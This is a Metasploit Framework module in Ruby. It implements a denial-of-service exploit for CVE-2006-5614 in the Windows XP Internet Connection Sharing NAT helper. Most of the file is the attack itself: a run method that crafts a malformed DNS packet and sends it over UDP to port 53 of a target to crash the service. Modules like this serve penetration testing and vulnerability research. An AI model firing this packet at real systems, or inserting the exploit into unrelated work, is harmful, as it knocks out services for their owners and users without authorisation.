metasploit-framework/modules/auxiliary/dos/windows/nat/nat_helper.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Windows NAT Helper Denial of Service',
      'Description'    => %q{
        This module exploits a denial of service vulnerability
        within the Internet Connection Sharing service in
        Windows XP.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '30096'],
          [ 'BID', '20804' ],
          [ 'CVE', '2006-5614' ],
        ],
      'DisclosureDate' => 'Oct 26 2006'))

      register_options([Opt::RPORT(53),])
  end

  def run
    connect_udp

    pkt =  "\x6c\xb6\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt << "\x03" + Rex::Text.rand_text_english(3) + "\x06"
    pkt << Rex::Text.rand_text_english(10) + "\x03"
    pkt << Rex::Text.rand_text_english(3)
    pkt << "\x00\x00\x01\x00\x01"

    print_status("Sending dos packet...")

    udp_sock.put(pkt)

    disconnect_udp
  end
end